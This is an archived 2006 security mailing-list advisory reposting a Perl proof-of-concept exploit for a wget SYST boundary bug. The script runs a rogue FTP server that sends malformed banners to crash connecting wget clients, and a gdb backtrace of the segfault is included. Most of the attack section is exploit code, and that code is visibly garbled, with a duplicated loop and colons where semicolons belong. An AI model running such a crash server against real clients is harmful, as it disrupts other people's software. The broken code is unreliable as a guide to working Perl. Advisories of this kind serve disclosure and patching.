

[EXPL] wget SYST Unchecked Boundary Condition

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-12/msg00032.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 20 Dec 2006 09:08:51 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

wget SYST Unchecked Boundary Condition

SUMMARY

A vulnerability in wget's SYST implementation allows a remote attacker to cause wget to crash by supplying it with a malformed response to its SYST request.

DETAILS

Exploit:

```
#!/usr/bin/perl
#####
# wget <= 1.10.2 | Unchecked Boundary Condition
# Federico L. Bossi Bonin
#
# www.globalst.com.ar
# fbossi[at]globalst.com.ar
#####
```

```
use strict;
use IO::Socket;
```

[EXPL] wget SYST Unchecked Boundary Condition

```
#Resolving localhost... 127.0.0.1
#Connecting to localhost[127.0.0.1]:21... connected.
#Logging in as anonymous ... Logged in!
#==> SYST ...
#Program received signal SIGSEGV, Segmentation fault.
#[Switching to Thread -1211496768 (LWP 22824)]
#0xb7d1c633 in strcasecmp () from /lib/tls/libc.so.6
#(gdb) backtrace
#0 0xb7d1c633 in strcasecmp () from /lib/tls/libc.so.6
#1 0x080542c5 in ftp_syst (sock=6, server_type=0xbfe3d854) at
ftp-basic.c:1042
#2 0x0804fa6f in getftp (u=0x80800a0, len=0xbfe3d5d8, restval=0,
con=0xbfe3d840) at ftp.c:367
#3 0x08051211 in ftp_loop_internal (u=0x80800a0, f=0x0, con=0xbfe3d840)
at ftp.c:1197
#4 0x08051877 in ftp_get_listing (u=0x80800a0, con=0xbfe3d840,
f=0xbfe3d7a8) at ftp.c:1341
#5 0x08051a83 in ftp_retrieve_glob (u=0x80800a0, con=0xbfe3d840,
action=2) at ftp.c:1705
#6 0x08052910 in ftp_loop (u=0x80800a0, dt=0xbfe3d978, proxy=0x0) at
ftp.c:1875
#7 0x08066cf8 in retrieve_url (origurl=0x8080070 "ftp://localhost
file=0xbfe3d970, newloc=0xbfe3d974, refurl=0x0,dt=0xbfe3d978) at
retr.c:678
#8 0x08061bdc in main (argc=3, argv=0xbfe3da84) at main.c:943
#(gdb)
```

```
my $PORT=21;
$_SIG{CHLD} = 'IGNORE';
```

```
my $listen = IO::Socket::INET->new(LocalPort => $PORT, Listen => 10,Proto
=> 'tcp',Reuse => 1);
die "Can't bind port: $_" unless $listen;
```

```
print "wget PoC\nWaiting connections\n";
```

```
while (my $connection = $listen->accept){
my $child;
```

```
while (my $connection = $listen->accept){
my $child;
die "Can't fork: $_" unless defined ($child = fork());
if ($child == 0){
$listen->close;
while() {
print $connection "220 \n";
}
exit 0;
}
else {
```

[EXPL] wget SYST Unchecked Boundary Condition

```
print "Connecton recieved ... ". $connection->peerhost."\n":  
$connection->close():  
}  
} #while  
  
} #while  
  
# milw0rm.com [2006-12-18]
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:fbossi@xxxxxxxxxxxxxxxx>
Federico L. Bossi Bonin.
The original article can be found at:
<http://www.milw0rm.com/exploits/2947>
http://www.milw0rm.com/exploits/2947

=====
=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@xxxxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.